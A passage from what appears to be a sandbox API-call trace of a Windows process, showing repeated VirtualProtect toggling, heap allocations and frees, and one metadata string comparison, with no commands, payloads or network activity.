lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.072] VirtualProtect (in: lpAddress=0xb0228c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.072] VirtualProtect (in: lpAddress=0xb02294, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.072] VirtualProtect (in: lpAddress=0xb0229c, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.073] VirtualProtect (in: lpAddress=0xb022a4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.073] VirtualProtect (in: lpAddress=0xb022ac, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.073] VirtualProtect (in: lpAddress=0xb022b4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.074] VirtualProtect (in: lpAddress=0xb022bc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.074] VirtualProtect (in: lpAddress=0xb022c4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.074] VirtualProtect (in: lpAddress=0xb022cc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.074] VirtualProtect (in: lpAddress=0xb022d4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.075] VirtualProtect (in: lpAddress=0xb022dc, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.075] VirtualProtect (in: lpAddress=0xb022e4, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.075] VirtualProtect (in: lpAddress=0xb022ec, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.075] VirtualProtect (in: lpAddress=0xb02308, dwSize=0xc, flNewProtect=0x4, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x20) returned 1 [0039.076] VirtualProtect (in: lpAddress=0xb02310, dwSize=0xc, flNewProtect=0x20, lpflOldProtect=0x32cc2c | out: lpflOldProtect=0x32cc2c*=0x4) returned 1 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422b18 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422b28 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422b38 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x422b48 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422b58 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x422b68 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422b78 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.076] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x422b88 [0039.076] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422b98 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x422ba8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422bb8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x422bc8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422bd8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x422be8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422bf8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x435380 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422c08 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9f68 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x422c18 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x54ba320 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba330 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x4353b0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba340 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x54b9f80 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba350 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba360 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba370 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9f98 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba380 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9fb0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba390 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9fc8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba3a0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9fe0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba3b0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba3c0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba3d0 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.077] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54b9ff8 [0039.077] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba3e0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x419f38 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba3f0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba010 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba400 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba410 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba420 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba430 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba440 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba450 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba460 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba028 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba470 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x54ba040 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba480 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba490 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba4a0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x54ba058 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba4b0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba4c0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba4d0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x54ba070 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba4e0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba088 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba4f0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x419e78 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba500 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba0a0 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba510 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba0b8 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba520 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.078] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba530 [0039.078] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba540 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x419f98 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba550 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x54ba560 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba570 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba580 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba590 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba0d0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba5a0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba0e8 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba5b0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba5c0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba5d0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x54ba5e0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba5f0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x419f78 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba600 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba100 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba610 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x54ba620 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba630 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba640 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba650 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba660 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba670 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba680 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba690 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba6a0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba6b0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba6c0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba6d0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba6e0 [0039.079] GetProcessHeap () returned 0x3d0000 [0039.079] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba6f0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba720 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba730 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba740 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba750 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba760 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba770 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba780 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba118 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba790 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba130 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba7a0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x50) returned 0x4108a8 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba7b0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba7c0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba7d0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba148 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba7e0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x41a098 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba7f0 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba800 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba810 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba820 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba830 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba840 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba850 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba160 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba860 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x41a0b8 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba870 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x54ba178 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba880 [0039.080] GetProcessHeap () returned 0x3d0000 [0039.080] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x54ba890 [0039.080] lstrcmpA (lpString1="#~", lpString2="#~") returned 0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba190 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba1a8 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba1c0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba1d8 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba1f0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba208 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba220 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba238 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x80) returned 0x4397a8 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x431fb8 | out: hHeap=0x3d0000) returned 1 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba250 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba268 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba280 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba298 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba2b0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba2c8 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54ba2e0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bab20 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x100) returned 0x43c8f0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4397a8 | out: hHeap=0x3d0000) returned 1 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bab38 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bab50 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bab68 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bab80 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bab98 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54babb0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54babc8 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54babe0 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54babf8 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x54bac10 [0039.081] GetProcessHeap () returned 0x3d0000 [0039.081] RtlAllocateHeap 